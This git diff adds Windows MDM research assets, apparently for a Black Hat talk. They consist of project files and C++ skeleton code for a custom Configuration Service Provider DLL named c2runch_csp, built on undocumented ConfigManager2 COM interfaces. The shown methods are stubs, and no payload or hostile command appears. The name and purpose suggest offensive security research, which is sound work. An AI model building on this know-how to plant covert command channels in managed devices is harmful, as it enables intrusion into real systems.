diff --git a/tools/blackhat-mdm/LICENSE b/tools/blackhat-mdm/LICENSE new file mode 100755 index 0000000000..e54770ba4f --- /dev/null +++ b/tools/blackhat-mdm/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 Marcos Oviedo + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/tools/blackhat-mdm/README.md b/tools/blackhat-mdm/README.md new file mode 100755 index 0000000000..9b978370e7 --- /dev/null +++ b/tools/blackhat-mdm/README.md @@ -0,0 +1 @@ +# Windows MDM Research Assets \ No newline at end of file diff --git a/tools/blackhat-mdm/c2runch_csp/c2runch_csp.def b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.def new file mode 100755 index 0000000000..91cb32e4b3 --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.def @@ -0,0 +1,6 @@ +LIBRARY + +EXPORTS + DllGetActivationFactory PRIVATE + DllGetClassObject PRIVATE + DllCanUnloadNow PRIVATE \ No newline at end of file diff --git a/tools/blackhat-mdm/c2runch_csp/c2runch_csp.sln b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.sln new file mode 100755 index 0000000000..f0a52997c2 --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32802.440 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "c2runch_csp", "c2runch_csp.vcxproj", "{FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x64.ActiveCfg = Debug|x64 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x64.Build.0 = Debug|x64 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x86.ActiveCfg = Debug|Win32 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Debug|x86.Build.0 = Debug|Win32 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x64.ActiveCfg = Release|x64 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x64.Build.0 = Release|x64 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x86.ActiveCfg = Release|Win32 + {FAECC814-3F3F-4CA0-8C2B-72D5E4670B92}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {69CA2B28-058C-4A01-BB50-F947378FB5D6} + EndGlobalSection +EndGlobal diff --git a/tools/blackhat-mdm/c2runch_csp/c2runch_csp.vcxproj b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.vcxproj new file mode 100755 index 0000000000..e7d1fa9087 --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.vcxproj @@ -0,0 +1,183 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {faecc814-3f3f-4ca0-8c2b-72d5e4670b92} + c2runchcsp + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreadedDebug + stdcpp17 + + + Windows + true + false + runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + c2runch_csp.def + + + + + Level3 + true + true + true + WIN32;NDEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreaded + stdcpp17 + + + Windows + true + true + true + false + runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + c2runch_csp.def + + + + + Level3 + true + _DEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreadedDebug + stdcpp17 + + + Windows + true + false + runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + c2runch_csp.def + + + + + Level3 + true + true + true + NDEBUG;C2RUNCHCSP_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreaded + stdcpp17 + + + Windows + true + true + true + false + runtimeobject.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + c2runch_csp.def + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/c2runch_csp/c2runch_csp.vcxproj.filters b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.vcxproj.filters new file mode 100755 index 0000000000..82d6bb6f36 --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/c2runch_csp.vcxproj.filters @@ -0,0 +1,38 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/c2runch_csp/c2runch_csp_registration.reg b/tools/blackhat-mdm/c2runch_csp/c2runch_csp_registration.reg new file mode 100755 index 0000000000..3720972d06 Binary files /dev/null and b/tools/blackhat-mdm/c2runch_csp/c2runch_csp_registration.reg differ diff --git a/tools/blackhat-mdm/c2runch_csp/src/com_helpers.h b/tools/blackhat-mdm/c2runch_csp/src/com_helpers.h new file mode 100755 index 0000000000..fdcbcec410 --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/src/com_helpers.h @@ -0,0 +1,341 @@ +#pragma once + +#include "core.h" +#include + +//ConfigManager2 Properties + +// {B3DC615C-FC9F-4d03-A9CE-550108EED51D} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_ACL = { 0xb3dc615c, 0xfc9f, 0x4d03, { 0xa9, 0xce, 0x55, 0x1, 0x8, 0xee, 0xd5, 0x1d } }; + +// {F3FD4372-C86B-46bd-BC76-B881066E409D} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_DATATYPE = { 0xf3fd4372, 0xc86b, 0x46bd, { 0xbc, 0x76, 0xb8, 0x81, 0x6, 0x6e, 0x40, 0x9d } }; + +//{8F216A47-3C40-47b9-8836-E3970A95BDF0} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_SEMANTICTYPE = { 0x8f216a47, 0x3c40, 0x47b9, { 0x88, 0x36, 0xe3, 0x97, 0xa, 0x95, 0xbd, 0xf0 } }; + +// {3D5A3C6B-6A72-4ee0-A54E-CEF8C6BFB1EC} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_TSTAMP = { 0x3d5a3c6b, 0x6a72, 0x4ee0, { 0xa5, 0x4e, 0xce, 0xf8, 0xc6, 0xbf, 0xb1, 0xec } }; + +// {5C663178-DBC0-42e4-B933-946FF63F2361} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_SIZE = { 0x5c663178, 0xdbc0, 0x42e4, { 0xb9, 0x33, 0x94, 0x6f, 0xf6, 0x3f, 0x23, 0x61 } }; + +// {B3D64537-9DE7-4CD0-8FE6-DBB6FBF118AF} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_TITLE = { 0xb3d64537, 0x9de7, 0x4cd0, { 0x8f, 0xe6, 0xdb, 0xb6, 0xfb, 0xf1, 0x18, 0xaf } }; + +// {037CA430-EC07-453B-A4E4-23B37FACE658} +EXTERN_C const __declspec(selectany) GUID CFGMGR_PROPERTY_PROVIDERTYPE = { 0x037ca430, 0xec07, 0x453b, { 0xa4, 0xe4, 0x23, 0xb3, 0x7f, 0xac, 0xe6, 0x58 } }; + + + +//ConfigManager2 Error Codes +// +// The node options provided are invalid +#define CFGMGR_E_INVALIDNODEOPTIONS ((HRESULT)0x86000000) + +// The data type is invalid +#define CFGMGR_E_INVALIDDATATYPE ((HRESULT)0x86000001) + +// The specified node doesn't exist +#define CFGMGR_E_NODENOTFOUND ((HRESULT)0x86000002) + +// The operation is illegal inside of a transaction +#define CFGMGR_E_ILLEGALOPERATIONINATRANSACTION ((HRESULT)0x86000003) + +// The operation is illegal outside of a transaction +#define CFGMGR_E_ILLEGALOPERATIONOUTSIDEATRANSACTION ((HRESULT)0x86000004) + +// One or more commands failed to Execute +#define CFGMGR_E_ONEORMOREEXECUTIONFAILURES ((HRESULT)0x86000005) + +// One or more commands failed to revert during the cancel +#define CFGMGR_E_ONEORMORECANCELFAILURES ((HRESULT)0x86000006) + +// The command was executed, but the transaction failed so the command was rolled back successfully +#define CFGMGR_S_COMMANDFAILEDDUETOTRANSACTIONROLLBACK ((HRESULT)0x06000007) + +// The transaction failed during the commit phase +#define CFGMGR_E_COMMITFAILURE ((HRESULT)0x86000008) + +// The transaction failed during the rollback phase +#define CFGMGR_E_ROLLBACKFAILURE ((HRESULT)0x86000009) + +// One or more commands failed during the cleanup phase after the transactions were committed +#define CFGMGR_E_ONEORMORECLEANUPFAILURES ((HRESULT)0x8600000A) + +// The IConfigNodeState interface may not be used after the validation call +#define CFGMGR_E_CONFIGNODESTATEOBJECTNOLONGERVALID ((HRESULT)0x8600000B) + +// The CSP registration in the registry is corrupted +#define CFGMGR_E_CSPREGISTRATIONCORRUPT ((HRESULT)0x8600000C) + +// The cancel operation failed on the node +#define CFGMGR_E_NODEFAILEDTOCANCEL ((HRESULT)0x8600000D) + +//The operation failed on the node because of a prior operation failure +#define CFGMGR_E_DEPENDENTOPERATIONFAILURE ((HRESULT)0x8600000E) + +// The requested command failed because the node is in an invalid state +#define CFGMGR_E_CSPNODEILLEGALSTATE ((HRESULT)0x8600000F) + +// The node must be internally transactioned to call this command +#define CFGMGR_E_REQUIRESINTERNALTRANSACTIONING ((HRESULT)0x86000010) + +// The requested command is not allowed on the targe +#define CFGMGR_E_COMMANDNOTALLOWED ((HRESULT)0x86000011) + +// Inter-CSP copy and move operations are illegal +#define CFGMGR_E_INTERCSPOPERATION ((HRESULT)0x86000012) + +// The requested property is not supported by the node +#define CFGMGR_E_PROPERTYNOTSUPPORTED ((HRESULT)0x86000013) + +// The semantic type is invalid +#define CFGMGR_E_INVALIDSEMANTICTYPE ((HRESULT)0x86000014) + +// The URI contains a forbidden segment +#define CFGMGR_E_FORBIDDENURISEGMENT ((HRESULT)0x86000015) + +// The requested read/write permission was not allowed +#define CFGMGR_E_READWRITEACCESSDENIED ((HRESULT)0x86000016) + +// The requested read permission was not allowed because the data is secret +#define CFGMGR_E_SECRETDATAACCESSDENIED ((HRESULT)0x86000017) + +// Error occured in XML parser +#define CFGMGR_E_XMLPARSEERROR ((HRESULT)0x86000018) + +// The requested command timed out +#define CFGMGR_E_COMMANDTIMEOUT ((HRESULT)0x86000019) + +// The CSP impersonation reference count value is incorrect +#define CFGMGR_E_IMPERSONATIONERROR ((HRESULT)0x86000020) + +// The WMI operation error results from invalid arg +#define CFGMGR_E_WMIOPERATIONERROR ((HRESULT)0X86000021) + +// No target SID for the CSP impersonation +#define CFGMGR_E_NOIMPERSONATIONTARGET ((HRESULT)0x86000022) + +// Resource already provisioned by another configuration source +#define RESOURCEMGR_E_RESOURCEALREADYOWNED ((HRESULT)0x86000023) + + +//ConfigManager2 Node Options +#define CSP_OPTION_NATIVETHREADSAFETY 0x01 +#define CSPNODE_OPTION_NATIVESECURITY 0x01 +#define CSPNODE_OPTION_INTERNALTRANSACTION 0x02 +#define CSPNODE_OPTION_HANDLEALLPROPERTIES 0x04 +#define CSPNODE_OPTION_SECRETDATA 0x08 + + +//ConfigManager2 Helper Types +typedef enum _CSP_NAMESPACE_PREFIX +{ + CSP_NAMESPACE_DEVICE = 0, + CSP_NAMESPACE_USER = 1 +} CSP_NAMESPACE; + +typedef enum _CSP_NAMESPACE_PREFIX* PCSP_NAMESPACE; + +typedef struct _CSP_NOTIFICATION_LOAD_DATA +{ + DWORD grfCspOptions; + CSP_NAMESPACE cspNamespace; + LPCWSTR pszContextId; +} CSP_NOTIFICATION_LOAD_DATA; + +typedef struct _CSP_NOTIFICATION_LOAD_DATA* PCSP_NOTIFICATION_LOAD_DATA; + +typedef enum ConfigManager2Notification +{ + CFGMGR_NOTIFICATION_LOAD = 0, + CFGMGR_NOTIFICATION_BEGINCOMMANDPROCESSING = (CFGMGR_NOTIFICATION_LOAD + 1), + CFGMGR_NOTIFICATION_ENDCOMMANDPROCESSING = (CFGMGR_NOTIFICATION_BEGINCOMMANDPROCESSING + 1), + CFGMGR_NOTIFICATION_UNLOAD = (CFGMGR_NOTIFICATION_ENDCOMMANDPROCESSING + 1), + CFGMGR_NOTIFICATION_SETSESSIONOBJ = (CFGMGR_NOTIFICATION_UNLOAD + 1), + CFGMGR_NOTIFICATION_BEGINCOMMIT = (CFGMGR_NOTIFICATION_SETSESSIONOBJ + 1), + CFGMGR_NOTIFICATION_ENDCOMMIT = (CFGMGR_NOTIFICATION_BEGINCOMMIT + 1), + CFGMGR_NOTIFICATION_BEGINROLLBACK = (CFGMGR_NOTIFICATION_ENDCOMMIT + 1), + CFGMGR_NOTIFICATION_ENDROLLBACK = (CFGMGR_NOTIFICATION_BEGINROLLBACK + 1), + CFGMGR_NOTIFICATION_BEGINTRANSACTIONING = (CFGMGR_NOTIFICATION_ENDROLLBACK + 1), + CFGMGR_NOTIFICATION_ENDTRANSACTIONING = (CFGMGR_NOTIFICATION_BEGINTRANSACTIONING + 1), + CFGMGR_NOTIFICATION_LAST = CFGMGR_NOTIFICATION_ENDTRANSACTIONING +} CFGMGR_NOTIFICATION; + +typedef enum ConfigDataType +{ + CFG_DATATYPE_INTEGER = 0, + CFG_DATATYPE_STRING = (CFG_DATATYPE_INTEGER + 1), + CFG_DATATYPE_FLOAT = (CFG_DATATYPE_STRING + 1), + CFG_DATATYPE_DATE = (CFG_DATATYPE_FLOAT + 1), + CFG_DATATYPE_TIME = (CFG_DATATYPE_DATE + 1), + CFG_DATATYPE_BOOLEAN = (CFG_DATATYPE_TIME + 1), + CFG_DATATYPE_BINARY = (CFG_DATATYPE_BOOLEAN + 1), + CFG_DATATYPE_MULTIPLE_STRING = (CFG_DATATYPE_BINARY + 1), + CFG_DATATYPE_NODE = (CFG_DATATYPE_MULTIPLE_STRING + 1), + CFG_DATATYPE_NULL = (CFG_DATATYPE_NODE + 1), + CFG_DATATYPE_UNKNOWN = (CFG_DATATYPE_NULL + 1), + CFG_DATATYPE_INTEGER64 = (CFG_DATATYPE_UNKNOWN + 1), + CFG_DATATYPE_EXPAND_STRING = (CFG_DATATYPE_INTEGER64 + 1), + CFG_DATATYPE_XML = (CFG_DATATYPE_EXPAND_STRING + 1), + CFG_DATATYPE_MAX = CFG_DATATYPE_XML +} CFG_DATATYPE; + + + +// ConfigManager2 Interfaces + +struct IConfigManager2MutableURI; + +MIDL_INTERFACE("8D31FC7E-B285-49a2-B38C-6E0EF9D99CDB") +IConfigSession2 : public IUnknown{ +public: + virtual HRESULT __stdcall GetHost(IUnknown * *p0) = 0; + virtual HRESULT __stdcall GetSessionVariable(BSTR p0, VARIANT* p1) = 0; + virtual HRESULT __stdcall ImpersonateTargetedUser() = 0; + virtual HRESULT __stdcall ImpersonateTargetedUserRevert() = 0; +}; + +MIDL_INTERFACE("e34e5896-40b2-45c4-a9c0-8a9601c3b0a6") +IConfigManager2URI : public IUnknown{ +public: + virtual HRESULT __stdcall IsAbsoluteURI(int64_t * p0) = 0; //24 + virtual HRESULT __stdcall HasQuery(int64_t* p0) = 0; //32 + virtual HRESULT __stdcall InitializeFromString(wchar_t* p0) = 0; //40 + virtual HRESULT __stdcall InitializeFromStream(ISequentialStream* p0) = 0; //48 + virtual HRESULT __stdcall SaveToStream(ISequentialStream* p0) = 0; //56 + virtual HRESULT __stdcall GetCanonicalRelativeURI(int64_t p0, int64_t p1, BSTR* p2) = 0; //64 + virtual HRESULT __stdcall GetRelativeURI(int64_t p0, int64_t p1, IConfigManager2URI** p2) = 0; //72 + virtual HRESULT __stdcall SplitURI(int64_t p0, int64_t p1, IConfigManager2URI** p2, IConfigManager2URI** p3) = 0; //80 + virtual HRESULT __stdcall GetSegment(int64_t p0, wchar_t** p1) = 0; //88 + virtual HRESULT __stdcall GetSegmentCopy(int64_t p0, BSTR* p1) = 0; //96 + virtual HRESULT __stdcall CompareURI(IConfigManager2URI* p0, int64_t p1, int64_t* p2) = 0; //104 + virtual HRESULT __stdcall FindLastCommonSegment(IConfigManager2URI* p0, int64_t p1, int64_t* p2) = 0; //112 + virtual HRESULT __stdcall GetJoinedSegments(int64_t p0, wchar_t p1, BSTR* p2) = 0; //120 + virtual HRESULT __stdcall GetQueryValue(wchar_t* p0, BSTR* p1) = 0; //128 + virtual HRESULT __stdcall GetSegmentCount(int64_t* p0) = 0; //136 + virtual HRESULT __stdcall Clone(int64_t p0, IConfigManager2MutableURI** p1) = 0; //144 + virtual HRESULT __stdcall GetHash(int64_t p0, int64_t* p1) = 0; //152 + virtual HRESULT __stdcall AppendSegmentToCopy(wchar_t* p0, int64_t p1, int64_t p2, IConfigManager2URI** p3) = 0; //160 + virtual HRESULT __stdcall AppendRelativeURIToCopy(IConfigManager2URI* p0, int64_t p1, int64_t p2, IConfigManager2URI** p3) = 0; //168 +}; + +MIDL_INTERFACE("4b965405-f21f-4702-95dd-4e81c3d1bb30") +IConfigManager2MutableURI : public IConfigManager2URI{ +public: + virtual HRESULT __stdcall AppendSegment(wchar_t* p0, int64_t p1) = 0; + virtual HRESULT __stdcall AppendRelativeURI(IConfigManager2URI* p0, int64_t p1) = 0; + virtual HRESULT __stdcall ReplaceSegment(int64_t p0, wchar_t* p1, int64_t p2) = 0; + virtual HRESULT __stdcall DeleteSegment(int64_t p0) = 0; + virtual HRESULT __stdcall InsertSegment(int64_t p0, wchar_t* p1, int64_t p2) = 0; + virtual HRESULT __stdcall AppendQueryValue(wchar_t* p0, wchar_t* p1, int64_t p2) = 0; + virtual HRESULT __stdcall CreateNonMutableURI(IConfigManager2URI** p0) = 0; +}; + +MIDL_INTERFACE("8a13633c-797d-46e9-b602-d982b8ec9847") +ICSPNode : public IUnknown{ +public: + virtual HRESULT __stdcall GetChildNodeNames(int64_t * p0, BSTR * *p1) = 0; //24 + virtual HRESULT __stdcall Add(IConfigManager2URI* p0, uint16_t p1, VARIANT* p2, ICSPNode** p3, int64_t* p4) = 0; //32 + virtual HRESULT __stdcall Copy(IConfigManager2URI* p0, ICSPNode** p1, int64_t* p2) = 0; //40 + virtual HRESULT __stdcall DeleteChild(IConfigManager2URI* p0) = 0; //48 + virtual HRESULT __stdcall Clear() = 0; //56 + virtual HRESULT __stdcall Execute(VARIANT* p0) = 0; //64 + virtual HRESULT __stdcall Move(IConfigManager2URI* p0) = 0; //72 + virtual HRESULT __stdcall GetValue(VARIANT* p0) = 0; //80 + virtual HRESULT __stdcall SetValue(VARIANT* p0) = 0; //88 + virtual HRESULT __stdcall GetProperty(GUID* p0, VARIANT* p1) = 0; //96 + virtual HRESULT __stdcall SetProperty(GUID* p0, VARIANT* p1) = 0; //104 + virtual HRESULT __stdcall DeleteProperty(GUID* p0) = 0; //112 + virtual HRESULT __stdcall GetPropertyIdentifiers(int64_t* p0, GUID** p1) = 0; //120 +}; + +//Config manager clients uses the IConfigServiceProvider2 COM interface to reach Configuration Service Providers +//This provides access to nodes and to receive notifications from the Config manager + +MIDL_INTERFACE("F35E39DC-E18A-48c2-88CB-B3CF48CA6E83") +IConfigServiceProvider2 : public IUnknown{ +public: + virtual HRESULT STDMETHODCALLTYPE GetNode(IConfigManager2URI * omaURIs, ICSPNode * *ptrNode, int64_t * options) = 0; + virtual HRESULT STDMETHODCALLTYPE ConfigManagerNotification(uint16_t state, intptr_t params) = 0; +}; + +// Simple RAII class to ensure memory is freed +template class HeapMemPtr { +public: + HeapMemPtr() {} + + HeapMemPtr(HeapMemPtr &&other) : ptr(other.ptr) { other.ptr = nullptr; } + + ~HeapMemPtr() { + if (ptr) + HeapFree(GetProcessHeap(), 0, ptr); + } + + HRESULT alloc(size_t size) { + ptr = reinterpret_cast(HeapAlloc(GetProcessHeap(), 0, size)); + return ptr ? S_OK : E_OUTOFMEMORY; + } + + T *get() { return ptr; } + bool isValid() { return ptr != nullptr; } + +private: + T *ptr = nullptr; +}; + + +std::string WStringToString(const std::wstring &wstr) { + if (wstr.empty()) { + return std::string(); + } + + int sizeNeeded = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), + NULL, 0, NULL, NULL); + if (sizeNeeded == 0) { // conversion failed + return std::string(); + } + + std::string strTo(sizeNeeded, 0); + int conversionResult = + WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &strTo[0], + sizeNeeded, NULL, NULL); + if (conversionResult == 0) { // conversion failed + return std::string(); + } + + return strTo; +} + +std::wstring StringToWString(const std::string &str) { + if (str.empty()) { + return std::wstring(); + } + + int sizeNeeded = + MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0); + if (sizeNeeded == 0) { // conversion failed + return std::wstring(); + } + + std::wstring wstrTo(sizeNeeded, 0); + int conversionResult = MultiByteToWideChar( + CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], sizeNeeded); + if (conversionResult == 0) { // conversion failed + return std::wstring(); + } + + return wstrTo; +} + +std::wstring GetSystem32Path() { + + WCHAR systemPath[MAX_PATH]; + UINT size = GetSystemDirectory(systemPath, MAX_PATH); + if (size == 0) { + return L""; + } + + return systemPath; +} \ No newline at end of file diff --git a/tools/blackhat-mdm/c2runch_csp/src/core.cpp b/tools/blackhat-mdm/c2runch_csp/src/core.cpp new file mode 100755 index 0000000000..248ff0d219 --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/src/core.cpp @@ -0,0 +1,74 @@ +#include "core.h" + +HMODULE g_currentModule; + + +STDAPI DllRegisterServer() +{ + auto module = &Module::GetModule(); + + WCHAR modulePath[MAX_PATH]; + if (GetModuleFileNameW(g_currentModule, modulePath, ARRAYSIZE(modulePath)) == 0) + { + return HRESULT_FROM_WIN32(GetLastError()); + } + + return S_OK; +} + +STDAPI DllUnregisterServer() +{ + auto module = &Module::GetModule(); + + WCHAR modulePath[MAX_PATH]; + if (GetModuleFileNameW(g_currentModule, modulePath, ARRAYSIZE(modulePath)) == 0) + { + return HRESULT_FROM_WIN32(GetLastError()); + } + + return S_OK; +} + +STDAPI DllGetActivationFactory(_In_ HSTRING activatibleClassId, _COM_Outptr_ IActivationFactory** factory) +{ + return Module::GetModule().GetActivationFactory(activatibleClassId, factory); +} + + +HRESULT WINAPI DllCanUnloadNow() +{ + return Module::GetModule().Terminate() ? S_OK : S_FALSE; +} + + +STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID FAR* ppv) +{ + return Module::GetModule().GetClassObject(rclsid, riid, ppv); +} + + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + g_currentModule = hModule; + DisableThreadLibraryCalls(hModule); + Module::GetModule().Create(); + break; + + case DLL_PROCESS_DETACH: + Module::GetModule().Terminate(); + break; + + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + + } + + return TRUE; +} + diff --git a/tools/blackhat-mdm/c2runch_csp/src/core.h b/tools/blackhat-mdm/c2runch_csp/src/core.h new file mode 100755 index 0000000000..48175083cd --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/src/core.h @@ -0,0 +1,12 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include + + +using namespace Microsoft::WRL; + + diff --git a/tools/blackhat-mdm/c2runch_csp/src/csp_com_interface.cpp b/tools/blackhat-mdm/c2runch_csp/src/csp_com_interface.cpp new file mode 100755 index 0000000000..ecfcfb16fa --- /dev/null +++ b/tools/blackhat-mdm/c2runch_csp/src/csp_com_interface.cpp @@ -0,0 +1,269 @@ +#include "core.h" +#include "com_helpers.h" +#include +#include + + + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +/// C2runchCSP Custom Node +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class DECLSPEC_UUID("3F2504E0-4F89-11D3-9A0C-4e81c3d1bb30") + C2runchCSPNode : public RuntimeClass, ICSPNode, FtmBase> +{ +public: + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetChildNodeNames(int64_t * p0, BSTR * *p1) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Add(IConfigManager2URI * p0, uint16_t p1, VARIANT * p2, ICSPNode * *p3, int64_t * p4) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Copy(IConfigManager2URI * p0, ICSPNode * *p1, int64_t * p2) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE DeleteChild(IConfigManager2URI * p0) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Clear() override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Execute(VARIANT * p0) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE Move(IConfigManager2URI * p0) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetValue(VARIANT * p0) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE SetValue(VARIANT * p0) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetProperty(GUID * p0, VARIANT * p1) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE SetProperty(GUID * p0, VARIANT * p1) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE DeleteProperty(GUID * p0) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetPropertyIdentifiers(int64_t * p0, GUID * *p1) override; +}; + +HRESULT C2runchCSPNode::GetChildNodeNames(int64_t* p0, BSTR** p1) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::Add(IConfigManager2URI* p0, uint16_t p1, VARIANT* p2, ICSPNode** p3, int64_t* p4) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::Copy(IConfigManager2URI* p0, ICSPNode** p1, int64_t* p2) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::DeleteChild(IConfigManager2URI* p0) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::Clear() +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::Execute(VARIANT* p0) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::Move(IConfigManager2URI* p0) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::GetValue(VARIANT* val) +{ + auto ref = this; + + HRESULT ret = S_OK; + if (val == nullptr) { + return E_INVALIDARG; + } + + BSTR rawStr = SysAllocString(L"testdata"); + if (rawStr == nullptr) { + return E_OUTOFMEMORY; + } + val->vt = VT_BSTR; + val->bstrVal = rawStr; 